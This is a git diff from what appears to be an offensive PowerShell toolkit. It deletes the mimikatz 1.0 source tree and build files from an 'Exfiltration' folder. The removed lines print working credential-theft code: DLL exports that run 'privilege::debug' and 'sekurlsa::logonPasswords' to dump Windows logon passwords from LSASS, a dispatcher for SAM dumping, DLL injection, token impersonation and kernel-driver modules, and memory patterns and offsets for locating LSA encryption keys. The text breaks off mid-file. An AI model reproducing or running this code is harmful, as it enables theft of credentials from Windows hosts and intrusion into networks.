{7999D050-6332-45F7-A343-C343902B1453} - {80532836-DE52-40AD-B373-E4098BF52E1F} = {7999D050-6332-45F7-A343-C343902B1453} - EndGlobalSection -EndGlobal diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog deleted file mode 100644 index ce3b7c56..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog deleted file mode 100644 index 5b567c0d..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/CL.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog deleted file mode 100644 index f911a97a..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.read.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog deleted file mode 100644 index 46b134b1..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link-cvtres.write.1.tlog +++ /dev/null @@ -1 +0,0 @@ - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog deleted file mode 100644 index 88decc70..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog deleted file mode 100644 index 8e0945c0..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog deleted file mode 100644 index 4395a0c3..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate deleted file mode 100644 index 4d281933..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.lastbuildstate +++ /dev/null @@ -1,2 +0,0 @@ -#v4.0:v100 -Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res deleted file mode 100644 index ab3f94dc..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.res and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog deleted file mode 100644 index ee7a2bc0..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/Win32/mimikatz.write.1.tlog +++ /dev/null @@ -1,5 +0,0 @@ -^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\mimikatz\mimikatz.vcxproj -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.lib -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.exp -C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\mimikatz.exp diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog deleted file mode 100644 index 7de52947..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.command.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog deleted file mode 100644 index a9809e1a..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.read.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog deleted file mode 100644 index 59133723..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/Win32/rc.write.1.tlog and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp b/Exfiltration/mimikatz-1.0/mimikatz/global.cpp deleted file mode 100644 index 365bd1aa..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/global.cpp +++ /dev/null @@ -1,5 +0,0 @@ -#include -#include -#include "global.h" - -std::wostream *outputStream = &std::wcout; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/global.h b/Exfiltration/mimikatz-1.0/mimikatz/global.h deleted file mode 100644 index 4bfe000a..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/global.h +++ /dev/null @@ -1,4 +0,0 @@ -#pragma once -#include - -extern std::wostream *outputStream; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp b/Exfiltration/mimikatz-1.0/mimikatz/main.cpp deleted file mode 100644 index 8862e425..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/main.cpp +++ /dev/null @@ -1,73 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Modifications in this file made by: Joe Bialek. Twitter: @JosephBialek. - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "globdefs.h" -#include -#include -#include "mimikatz.h" -#include - -int wmain(int argc, wchar_t * argv[]) -{ - setlocale(LC_ALL, "French_France.65001"); - _setmode(_fileno(stdin), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); - _setmode(_fileno(stdout), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); - _setmode(_fileno(stderr), _O_U8TEXT/*_O_WTEXT/*_O_U16TEXT*/); - - /*SetConsoleCP(CP_UTF8); - SetConsoleOutputCP(CP_UTF8);*/ - - vector * mesArguments = new vector(argv + 1, argv + argc); - - mimikatz * myMimiKatz = new mimikatz(mesArguments); - delete myMimiKatz, mesArguments; - return ERROR_SUCCESS; -} - -extern "C" __declspec ( dllexport) wchar_t* WStringFunc() -{ - wostringstream *stringStream = new wostringstream(); - outputStream = stringStream; - - vector* mesArguments = new vector(); - (*mesArguments).push_back(L"privilege::debug"); - (*mesArguments).push_back(L"sekurlsa::logonPasswords"); - (*mesArguments).push_back(L"exit"); - - mimikatz* myMimikatz = new mimikatz(mesArguments); - delete myMimikatz, mesArguments; - - wstring output = (*stringStream).str(); - const wchar_t* outputStr = output.c_str(); - wchar_t* out = new wchar_t[output.size() + 1]; - wcscpy(out, outputStr); - out[output.size()] = '\0'; - - return out; -} - -extern "C" __declspec ( dllexport) wchar_t* PSMimikatz(LPCWSTR input) -{ - wostringstream *stringStream = new wostringstream(); - outputStream = stringStream; - - int argc = 0; - LPWSTR* argv = CommandLineToArgvW(input, &argc); - - vector * mesArguments = new vector(argv, argv + argc); - - mimikatz* myMimikatz = new mimikatz(mesArguments); - delete myMimikatz, mesArguments; - - wstring output = (*stringStream).str(); - const wchar_t* outputStr = output.c_str(); - wchar_t* out = new wchar_t[output.size() + 1]; - wcscpy(out, outputStr); - out[output.size()] = '\0'; - - return out; -} - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp deleted file mode 100644 index 7265ef92..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.cpp +++ /dev/null @@ -1,286 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mimikatz.h" - -bool mimikatz::initLocalModules() -{ - mod_system::getVersion(&mod_system::GLOB_Version); - mod_mimikatz_sekurlsa::loadLsaSrv(); - mod_cryptoapi::loadRsaEnh(); - - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"", L"Standard", mod_mimikatz_standard::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"crypto", L"Cryptographie et certificats", mod_mimikatz_crypto::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"hash", L"Hash", mod_mimikatz_hash::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"system", L"Gestion systme", mod_mimikatz_system::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"process", L"Manipulation des processus", mod_mimikatz_process::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"thread", L"Manipulation des threads", mod_mimikatz_thread::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"service", L"Manipulation des services", mod_mimikatz_service::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"privilege", L"Manipulation des privilges", mod_mimikatz_privilege::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"handle", L"Manipulation des handles", mod_mimikatz_handle::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"impersonate", L"Manipulation tokens d\'accs", mod_mimikatz_impersonate::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"winmine", L"Manipulation du dmineur", mod_mimikatz_winmine::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"minesweeper", L"Manipulation du dmineur 7", mod_mimikatz_minesweeper::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"nogpo", L"Anti-gpo et patchs divers", mod_mimikatz_nogpo::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"samdump", L"Dump de SAM", mod_mimikatz_samdump::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"inject", L"Injecteur de librairies", mod_mimikatz_inject::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"ts", L"Terminal Server", mod_mimikatz_terminalserver::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"divers", L"Fonctions diverses n\'ayant pas encore assez de corps pour avoir leurs propres module", mod_mimikatz_divers::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"sekurlsa", L"Dump des sessions courantes par providers LSASS", mod_mimikatz_sekurlsa::getMimiKatzCommands())); - mesModules.push_back(KIWI_MIMIKATZ_LOCAL_MODULE(L"efs", L"Manipulations EFS", mod_mimikatz_efs::getMimiKatzCommands())); - return true; -} - -mimikatz::mimikatz(vector * mesArguments) : Kmimikatz(NULL) -{ - initLocalModules(); - SetConsoleTitle(MIMIKATZ_FULL); - (*outputStream) << MIMIKATZ_FULL << L"\t/* Traitement du Kiwi (" << __DATE__ << L' ' << __TIME__ << L") */" << endl << - L"// http://blog.gentilkiwi.com/mimikatz" << endl; - - bool mustContinue = true; - if(mesArguments) - { - for(vector::iterator maCommande = mesArguments->begin(); mustContinue && (maCommande != mesArguments->end()); maCommande++) - { - wstring commande = *maCommande; - (*outputStream) << endl << MIMIKATZ << L"(commandline) # " << dec << commande << endl; - mustContinue = tryToDispatch(&commande); - } - } - - if(mustContinue) - { - wstring * monBuffer = new wstring(); - do - { - (*outputStream) << endl << MIMIKATZ << L" # " << dec; - getline(wcin, *monBuffer); - } while(tryToDispatch(monBuffer)); - delete monBuffer; - } - wcout.flush(); -} - -mimikatz::~mimikatz(void) -{ - mod_cryptoapi::unloadRsaEnh(); - mod_mimikatz_sekurlsa::unloadLsaSrv(); - mod_mimikatz_inject::closeThisCommunicator(); -} - -bool mimikatz::tryToDispatch(wstring * maLigne) -{ - bool reussite = false; - - if(!(reussite = maLigne->empty())) - { - switch(*(maLigne->begin())) - { - case L'@': - case L'*': - reussite = this->doCommandeDistante(maLigne->substr(1)); - break; - case L'!': - reussite = this->doCommandeKernel(maLigne->substr(1)); - break; - default: - wstring fonction = *maLigne; - vector arguments; - - size_t monIndex = fonction.find(L' '); - if(monIndex != wstring::npos) - { - fonction = fonction.substr(0, monIndex); - arguments = mod_parseur::parse(maLigne->substr(monIndex + 1)); - } - reussite = doCommandeLocale(&fonction, &arguments); - } - } - - return reussite; -} - -bool mimikatz::doCommandeLocale(wstring * fonction, vector * arguments) -{ - size_t monIndex = fonction->find(L"::"); - - wstring module = L""; - wstring commande = *fonction; - - if(monIndex != wstring::npos) - { - module = fonction->substr(0, monIndex); - commande = fonction->substr(monIndex + 2); - } - - for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) - { - if(module == monModule->module) - { - for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) - { - if(commande == maCommande->commandName) - { - return maCommande->ptrCommand(arguments); - } - } - - if(module.empty()) (*outputStream) << L"Commande locale \'" << commande << L"\' introuvable" << endl; - else (*outputStream) << L"Module : \'" << module << L"\' identifi, mais commande \'" << commande << L"\' introuvable" << endl; - - (*outputStream) << endl << L"Description du module : " << monModule->description << endl; - listCommandes(monModule); - - return true; - } - } - - (*outputStream) << L"Module : \'" << module << L"\' introuvable" << endl << endl << L"Modules disponibles : " << endl; - listModules(); - return true; -} - -bool mimikatz::openKernel() -{ - bool reussite = false; - - if(!Kmimikatz || Kmimikatz == INVALID_HANDLE_VALUE) - { - (*outputStream) << L"Ouverture du pilote mimikatz : "; - Kmimikatz = CreateFile(L"\\\\.\\mimikatz", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - - if(reussite = (Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE)) - (*outputStream) << L"OK"; - else - (*outputStream) << L"CreateFile ; " << mod_system::getWinError(); - (*outputStream) << endl; - } - else - { - reussite = true; - } - - return reussite; -} - -bool mimikatz::closeKernel() -{ - bool reussite = false; - if(Kmimikatz && Kmimikatz != INVALID_HANDLE_VALUE) - { - if(CloseHandle(Kmimikatz)) - { - Kmimikatz = NULL; - reussite = true; - } - } - return reussite; -} - -bool mimikatz::doCommandeKernel(std::wstring &commande) -{ - if(!commande.empty()) - { - if(openKernel()) - { - DWORD dwReturn; - /* - (*outputStream) << L"DEBUG WriteFile " << endl << - L"\tToWrite : " << (commande.size() + 1) * sizeof(wchar_t) << endl; - */ - if(WriteFile(Kmimikatz, commande.c_str(), (commande.size() + 1) * sizeof(wchar_t), &dwReturn, NULL)) - { - /*(*outputStream) << L"\tWriten : " << dwReturn << endl << endl;*/ - - DWORD dwBuff = 0x40000; - DWORD dwRead = 0; - BYTE * buffer = new BYTE[dwBuff]; - RtlZeroMemory(buffer, dwBuff); - - /*(*outputStream) << L"DEBUG ReadFile " << endl << - L"\tBuffSize : " << dwBuff << endl;*/ - - if(ReadFile(Kmimikatz, buffer, dwBuff, &dwRead, NULL)) - { - /*(*outputStream) << - L"\tReaded : " << dwRead << endl << - endl; - */ - wcout /*<< L"BUFF : " << endl*/ - << reinterpret_cast(buffer) << endl; - } - else (*outputStream) << L"ReadFile : " << mod_system::getWinError() << endl; - - delete[] buffer; - } - else (*outputStream) << L"WriteFile : " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"Impossible de communiquer avec le pilote mimikatz"; - } - else - { - (*outputStream) << L"Commande vide (fermeture force) reue" << endl; - closeKernel(); - } - - return true; -} - -bool mimikatz::doCommandeDistante(std::wstring &commande) -{ - bool commOk = false; - - if(mod_mimikatz_inject::monCommunicator) - { - if(!commande.empty()) - { - if(mod_mimikatz_inject::monCommunicator->isConnected()) - { - if(mod_mimikatz_inject::monCommunicator->writeToPipe(commande)) - { - wstring buffer = L""; - do - { - if(commOk = mod_mimikatz_inject::monCommunicator->readFromPipe(buffer)) - { - (*outputStream) << buffer.substr(1) ; - } - else - { - (*outputStream) << L"Erreur : pas de rponse possible ; " << mod_system::getWinError() << endl; - break; - } - } while(*(buffer.begin()) == L'#'); - } - else (*outputStream) << L"Erreur : pas d\'criture possible ; " << mod_system::getWinError() << endl; - } - } - else (*outputStream) << L"Commande vide (dconnexion force) reue" << endl; - } - else (*outputStream) << L"Erreur : pas ou plus de communication tablie" << endl; - - if(!commOk) - mod_mimikatz_inject::closeThisCommunicator(); - - return true; -} - -void mimikatz::listModules() -{ - for(vector::iterator monModule = mesModules.begin(); monModule != mesModules.end(); monModule++) - { - (*outputStream) << setw(12) << setfill(wchar_t(' ')) << monModule->module << L"\t- " << monModule->description << endl; - } -} - -void mimikatz::listCommandes(vector::iterator monModule) -{ - for(vector::iterator maCommande = monModule->commandes.begin(); maCommande != monModule->commandes.end(); maCommande++) - { - if(maCommande->commandName.front() != L':') - (*outputStream) << setw(12) << setfill(wchar_t(' ')) << maCommande->commandName << L"\t- " << maCommande->commandHelp << endl; - } -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h deleted file mode 100644 index 29733683..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.h +++ /dev/null @@ -1,57 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_parseur.h" -#include "mod_pipe.h" -#include "mod_process.h" -#include "mod_system.h" - -#include "modules/mod_mimikatz_standard.h" -#include "modules/mod_mimikatz_crypto.h" -#include "modules/mod_mimikatz_hash.h" -#include "modules/mod_mimikatz_system.h" -#include "modules/mod_mimikatz_process.h" -#include "modules/mod_mimikatz_thread.h" -#include "modules/mod_mimikatz_service.h" -#include "modules/mod_mimikatz_privilege.h" -#include "modules/mod_mimikatz_handle.h" -#include "modules/mod_mimikatz_winmine.h" -#include "modules/mod_mimikatz_minesweeper.h" -#include "modules/mod_mimikatz_nogpo.h" -#include "modules/mod_mimikatz_samdump.h" -#include "modules/mod_mimikatz_inject.h" -#include "modules/mod_mimikatz_terminalserver.h" -#include "modules/mod_mimikatz_divers.h" -#include "modules/mod_mimikatz_impersonate.h" -#include "modules/mod_mimikatz_sekurlsa.h" -#include "modules/mod_mimikatz_efs.h" -#include "global.h" - -class mimikatz -{ -private: - static vector getMimiKatzCommands(); - vector mesModules; - bool initLocalModules(); - bool tryToDispatch(wstring * maLigne); - bool doCommandeLocale(wstring * fonction, vector * arguments); - bool doCommandeDistante(std::wstring &commande); - bool doCommandeKernel(std::wstring &commande); - - bool openKernel(); - bool closeKernel(); - - void listModules(); - void listCommandes(vector::iterator monModule); - - HANDLE Kmimikatz; - -public: - mimikatz(vector * mesArguments = NULL); - virtual ~mimikatz(void); -}; - diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc deleted file mode 100644 index 85dd98fd..00000000 Binary files a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.rc and /dev/null differ diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj deleted file mode 100644 index 5c0f1384..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj +++ /dev/null @@ -1,228 +0,0 @@ - - - - - Release - Win32 - - - Release - x64 - - - - {2A7BA573-8751-4BC2-A8A2-EDD62F7A8AB8} - Win32Proj - mimikatz - - - - DynamicLibrary - false - true - Unicode - Static - - - DynamicLibrary - false - true - Unicode - Static - - - - - - - - - - - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - false - - - false - $(SolutionDir)$(Platform)\ - $(Platform)\ - false - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - true - Fast - false - false - true - false - Size - None - - - Console - true - true - psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib - false - NoErrorReport - - - 0x040c - - - - - Level3 - NotUsing - Full - true - true - WIN32;NDEBUG;PSAPI_VERSION=1;_CONSOLE;%(PreprocessorDefinitions) - $(SolutionDir)/commun;$(SolutionDir)/modules;%(AdditionalIncludeDirectories) - true - Fast - false - false - true - false - Size - None - MultiThreaded - - - Console - true - true - psapi.lib;advapi32.lib;user32.lib;secur32.lib;crypt32.lib;shlwapi.lib;wtsapi32.lib;shell32.lib - false - NoErrorReport - - - 0x040c - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters b/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters deleted file mode 100644 index 378149f3..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/mimikatz.vcxproj.filters +++ /dev/null @@ -1,386 +0,0 @@ - - - - - {86154ac4-51c4-4228-9ebb-5bc3c67c82a5} - - - {ab2db025-9ada-4b24-9f10-5bc479e72179} - - - {4745ebd5-cfb4-4ff6-b2a2-5c867f06f52a} - - - {3774201f-55a6-4793-8ca7-b6a9b1ff795b} - - - {81abef97-02ad-49e1-abfc-05b3c052b87c} - - - {5132675e-44a3-4ab9-a33b-91cbeaa9559a} - - - {5b8a7a54-517e-4ab4-b7e6-be738e69c0c7} - - - {1c14c20e-5127-461c-8c84-e47f621878a5} - - - {13a67a74-e658-49da-8af5-857e3d692af7} - - - {56b648ea-1ae8-4f7b-90b6-860f84d468d9} - - - {4e99b7f2-6de3-4984-a50a-0f60b3cf74d6} - - - {e3eb943a-ee7e-4141-afb7-51276c95b0e1} - - - {3d143a37-f444-4586-8866-b7c022720fb0} - - - {83996a56-5b3b-4d85-aa27-8cc0d3f1a5b6} - - - {22cb979b-54ee-4732-bd93-538856c4818f} - - - {33450f45-6837-4cba-af7b-457bceebc085} - - - {660c14bc-8634-4e80-87d6-39f9dab51e2d} - - - {238e934d-2706-4fe3-8b7a-f14c2939f060} - - - {d5a5224b-a3d5-4ebb-9805-08998c7ed015} - - - {2a99a328-634d-44e7-bcaa-30112f169554} - - - {c8277a95-f9da-4352-9bb1-b35c883c6054} - - - {b482744c-513e-41c6-a766-22adead15ecd} - - - {a5ed030b-28fe-41b0-9f63-b254fd57400f} - - - {77e8ad35-fa4d-4e0d-afdc-ae3060d5370a} - - - {43b545d3-ad41-4c42-970d-7850d77b5432} - - - {3a9d8afc-3734-4b86-ab2a-a300a20f956a} - - - - - - Modules Communs\Certificats & Clés - - - Modules Communs\Injecteur - - - Modules Communs\Mémoire - - - Modules Communs\Parseur - - - Modules Communs\System - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules locaux pour mimikatz\Standard - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\Démineur - - - Modules locaux pour mimikatz\AntiGpo - - - Modules Communs\System - - - Modules Communs\Registre - - - Modules locaux pour mimikatz\Samdump - - - Modules Communs\Communication - - - Modules locaux pour mimikatz\Injecteur - - - Modules Communs\Certificats & Clés - - - Modules Communs\Certificats & Clés - - - Modules Communs\Patch - - - Modules locaux pour mimikatz\Terminal Server - - - Modules locaux pour mimikatz\Divers - - - Modules Communs\Securité et ACL - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules locaux pour mimikatz\System - - - Modules Communs\Terminal Server - - - Modules locaux pour mimikatz\Impersonate - - - Modules locaux pour mimikatz\System - - - Modules Communs\Texte - - - Modules Communs\Certificats & Clés - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules Communs\System - - - Modules locaux pour mimikatz\Démineur - - - Modules locaux pour mimikatz\SekurLSA - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules Communs\System - - - Modules Communs\System - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\LSA Keys - - - Modules locaux pour mimikatz\SekurLSA\LSA Keys - - - - - - - - Modules Communs\Certificats & Clés - - - Modules Communs\Injecteur - - - Modules Communs\Mémoire - - - Modules Communs\Parseur - - - Modules Communs\System - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules locaux pour mimikatz\Standard - - - Modules locaux pour mimikatz\Démineur - - - Modules locaux pour mimikatz\AntiGpo - - - Modules Communs\Registre - - - Modules locaux pour mimikatz\Samdump - - - Modules Communs\Communication - - - Modules locaux pour mimikatz\Injecteur - - - Modules Communs\Certificats & Clés - - - Modules Communs\Certificats & Clés - - - Modules Communs\Patch - - - Modules locaux pour mimikatz\Terminal Server - - - Modules locaux pour mimikatz\Divers - - - Modules Communs\Securité et ACL - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules Communs\System - - - Modules locaux pour mimikatz\System - - - Modules Communs\Terminal Server - - - Modules locaux pour mimikatz\Impersonate - - - Modules locaux pour mimikatz\System - - - Modules Communs\Texte - - - Modules Communs\Certificats & Clés - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules Communs\System - - - Modules locaux pour mimikatz\Démineur - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA - - - Modules locaux pour mimikatz\System - - - Modules locaux pour mimikatz\Certificats & Clés - - - Modules Communs\System - - - Modules Communs\System - - - Modules locaux pour mimikatz\SekurLSA\Security Packages - - - Modules locaux pour mimikatz\SekurLSA\LSA Keys - - - Modules locaux pour mimikatz\SekurLSA\LSA Keys - - - - - - - \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp deleted file mode 100644 index 9b51c7f8..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/LSA Keys/keys_nt5.cpp +++ /dev/null @@ -1,76 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "keys_nt5.h" -#include "..\..\global.h" -PBYTE * mod_mimikatz_sekurlsa_keys_nt5::g_pRandomKey = NULL, * mod_mimikatz_sekurlsa_keys_nt5::g_pDESXKey = NULL; - -#ifdef _M_X64 -BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x33, 0xdb, 0x8b, 0xc3, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3}; -LONG OFFS_WNT5_g_pRandomKey = -(6 + 2 + 5 + sizeof(long)); -LONG OFFS_WNT5_g_cbRandomKey = OFFS_WNT5_g_pRandomKey - (3 + sizeof(long)); -LONG OFFS_WNT5_g_pDESXKey = OFFS_WNT5_g_cbRandomKey - (2 + 5 + sizeof(long)); -LONG OFFS_WNT5_g_Feedback = OFFS_WNT5_g_pDESXKey - (3 + 7 + 6 + 2 + 5 + 5 + sizeof(long)); -#elif defined _M_IX86 -BYTE PTRN_WNT5_LsaInitializeProtectedMemory_KEY[] = {0x84, 0xc0, 0x74, 0x44, 0x6a, 0x08, 0x68}; -LONG OFFS_WNT5_g_Feedback = sizeof(PTRN_WNT5_LsaInitializeProtectedMemory_KEY); -LONG OFFS_WNT5_g_pRandomKey = OFFS_WNT5_g_Feedback + sizeof(long) + 